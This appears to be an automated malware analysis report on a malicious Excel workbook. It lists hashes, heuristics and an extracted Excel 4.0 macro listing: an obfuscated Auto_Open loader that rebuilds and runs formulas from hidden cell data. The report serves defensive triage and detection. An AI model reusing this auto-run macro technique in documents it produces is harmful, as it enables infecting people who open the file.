Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b08c0d1b1ac87a37…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:55 Authoring application: Microsoft Excel First seen: 2021-09-15
MD5: 7e28f8537004dca31dcf7cd048f97e19 SHA-1: d3bf3090d77e1d17fed4ed7258dd145a9ef4db8d SHA-256: b08c0d1b1ac87a37252e4165227703ddea0eba857fda6fd36e0a4a215b2f8254
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the workbook is configured to automatically execute code upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. No specific IOCs like URLs or hashes were extracted from the macro content itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: 4961884ae1b851c80eca193912e04f10f8231047987c887f887ca719ab7b1a7f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yXvVOHtCx
' 0018     27 LABEL : Cell Value, String Constant - aGEcMIkSKAsE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D155 
' 0018     24 LABEL : Cell Value, String Constant - bsWYLBhae len=0 
' 0018     22 LABEL : Cell Value, String Constant - cirhXsl len=0 
' 0018     20 LABEL : Cell Value, String Constant - CwhBj len=0 
' 0018     24 LABEL : Cell Value, String Constant - cZYJEFoXa len=0 
' 0018     20 LABEL : Cell Value, String Constant - DPYky len=0 
' 0018     22 LABEL : Cell Value, String Constant - EIJHYRg len=0 
' 0018     27 LABEL : Cell Value, String Constant - FEXdrclVgqvE len=0 
' 0018     23 LABEL : Cell Value, String Constant - ieQYICJI len=0 
' 0018     24 LABEL : Cell Value, String Constant - JBsUneCRd len=0 
' 0018     24 LABEL : Cell Value, String Constant - MdrZhsMmy len=0 
' 0018     26 LABEL : Cell Value, String Constant - oeGzoonIPVa len=0 
' 0018     21 LABEL : Cell Value, String Constant - oRjzDY len=0 
' 0018     20 LABEL : Cell Value, String Constant - PADla len=0 
' 0018     27 LABEL : Cell Value, String Constant - QglJzjXsFBYh len=0 
' 0018     21 LABEL : Cell Value, String Constant - QuMslm len=0 
' 0018     22 LABEL : Cell Value, String Constant - VsNspNq len=0 
' 0018     24 LABEL : Cell Value, String Constant - WnbhVbsDQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - WuPxkYxQI len=0 
' 0018     23 LABEL : Cell Value, String Constant - YROEyUbp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yXvVOHtCx,D58,"SET.NAME("bsWYLBhae",VALUE("0"))",""
'  yXvVOHtCx,D63,"SET.NAME("ieQYICJI",bsWYLBhae)",""
'  yXvVOHtCx,D67,"SET.NAME("WuPxkYxQI",bsWYLBhae)",""
'  yXvVOHtCx,D70,"SET.NAME("FEXdrclVgqvE",COUNTA(aGEcMIkSKAsE))",""
'  yXvVOHtCx,D74,"SET.NAME("YROEyUbp",COUNTA(oRjzDY))",""
'  yXvVOHtCx,D78,[],""
'  yXvVOHtCx,D83,"SET.NAME("QuMslm","")",""
'  yXvVOHtCx,D88,"ieQYICJI",""
'  yXvVOHtCx,D90,"SET.NAME("JBsUneCRd",HLOOKUP("*",aGEcMIkSKAsE,ieQYICJI,FALSE))",""
'  yXvVOHtCx,D93,"VsNspNq",""
'  yXvVOHtCx,D98,"SET.NAME("DPYky",bsWYLBhae)",""
'  yXvVOHtCx,D103,[],""
'  yXvVOHtCx,D105,"DPYky",""
'  yXvVOHtCx,D108,"PADla",""
'  yXvVOHtCx,D111,"oeGzoonIPVa",""
'  yXvVOHtCx,D115,"WnbhVbsDQ",""
'  yXvVOHtCx,D120,"SET.NAME("cZYJEFoXa",VALUE(HLOOKUP("*",oRjzDY,WnbhVbsDQ,FALSE)))",""
'  yXvVOHtCx,D122,"CwhBj",""
'  yXvVOHtCx,D124,"QuMslm",""
'  yXvVOHtCx,D129,"WuPxkYxQI",""
'  yXvVOHtCx,D134,NEXT(),""
'  yXvVOHtCx,D136,"QglJzjXsFBYh",""
'  yXvVOHtCx,D139,"SET.NAME("f",INT(T(FORMULA(T(QuMslm)&"",""&T(QglJzjXsFBYh)))))",""
'  yXvVOHtCx,D143,"EIJHYRg",""
'  yXvVOHtCx,D146,NEXT(),""
'  yXvVOHtCx,D151,RETURN(),""
'  yXvVOHtCx,D182,"SET.NAME("MdrZhsMmy",D58)",""
'  yXvVOHtCx,D186,"aGEcMIkSKAsE",""
'  yXvVOHtCx,D189,"SET.NAME("oRjzDY",R71C15)",""
'  yXvVOHtCx,D191,"SET.NAME("EIJHYRg",198)",""
'  yXvVOHtCx,D195,"SET.NAME("cirhXsl",4)",""
'  yXvVOHtCx,D197,MdrZhsMmy(),""
'  yXvVOHtCx,D198,HALT(),""

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